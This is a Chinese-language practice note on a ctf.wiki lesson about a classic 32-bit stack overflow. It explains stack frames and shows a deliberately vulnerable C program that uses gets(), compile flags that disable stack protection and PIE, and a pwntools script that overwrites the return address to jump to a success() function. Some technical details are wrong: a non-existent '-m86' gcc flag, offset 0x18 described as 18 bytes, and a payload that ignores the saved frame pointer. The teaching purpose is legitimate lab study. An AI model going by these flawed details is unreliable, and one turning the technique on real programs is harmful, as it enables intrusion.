本篇是对 ctf.wiki 上一篇教程的实践笔记。
0x00 前置知识
函数调用栈
这里精简了一些内容,详细内容可以看 C语言函数调用栈(一) 、C语言函数调用栈(二) 以及 【PWN】学习笔记(二)【栈溢出基础】。
这部分内容非常重要,请务必理解透彻再往下学习。
栈帧的边界由栈帧基地址指针 EBP 和堆栈指针 ESP 界定(指针存放在相应寄存器中)。EBP指向当前栈帧底部(高地址),在当前栈帧内位置固定;ESP 指向当前栈帧顶部(低地址),当程序执行时ESP会随着数据的入栈和出栈而移动。因此函数中对大部分数据的访问都基于 EBP 进行。
函数调用栈的典型内存布局如下图所示:
当调用函数时,首先将调用者函数的 Return Address 入栈,然后将调用者函数栈帧的 EBP 入栈。这样,当当前函数调用结束时借助保存的 EBP 及 Return Address 定位到调用者函数栈底位置及下一条要执行的命令的位置。
0x01 实践过程
漏洞复现
这是一段有栈溢出漏洞的代码:
#include <stdio.h>
#include <string.h>
void success(void)
{
puts("You Hava already controlled it.");
}
void vulnerable(void)
{
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv)
{
vulnerable();
return 0;
}
用以下命令编译:
gcc -m86 -fno-stack-protector -std=c++98 -pedantic -no-pie stack_overflow.cpp -o stack_overflow.o
解释一下几个关键的编译参数:
-m86 输出 32 位程序。
-fno-stack-protector 关闭了 gcc 的栈保护机制。
-std=c++98 表示采用 C++98 标准进行编译,因为新版 C++ 标准已经移除了对 gets/puts 函数的支持。
-no-pie PIE (position-independent executable) 是一种生成地址无关可执行程序的技术。如果编译器在生成可执行程序的过程中使用了PIE,那么当可执行程序被加载到内存中时其加载地址存在不可预知性。这里关闭 PIE 保证每次运行程序各变量地址一致。
漏洞原理
栈溢出问题出现在 gets 函数上,由于 gets 会读到回车才算结束,所以能读入多余数组 s 所申请的空间的数据并写入栈中。
根据函数调用栈的原理,我们可以覆盖 vulnerable 函数栈帧的 Return Address 来进行攻击。也就是说我们要构造一段数据,使其被 gets 函数接受后能够产生栈溢出,将 Return Address 替换为 success 函数的地址。
Exploit & Payload
编译后将可执行文件拖到 Binary Ninja 或 IDA 里,这里我们用 Binary Ninja 作示范。
我们先找到 success 函数的地址,为 0x08049176 。

然后找到 vulnerable 函数中 s 变量的相对栈地址为 -0x18,这表明该变量距离 EBP 18个字节(思考:为什么是负号)。也就是说,填充 18 个字节字符后再填充 success 函数地址就能够替换掉 Return Address 的内容。

知道原理后,我们就能够构造 Payload 了。
from pwn import *
sh = process('./stack_overflow.o')
success_addr = 0x08049176
payload = b'a' * 0x18 + p32(success_addr)
sh.sendline(payload)
sh.interactive()
最后执行本脚本,成功利用漏洞。


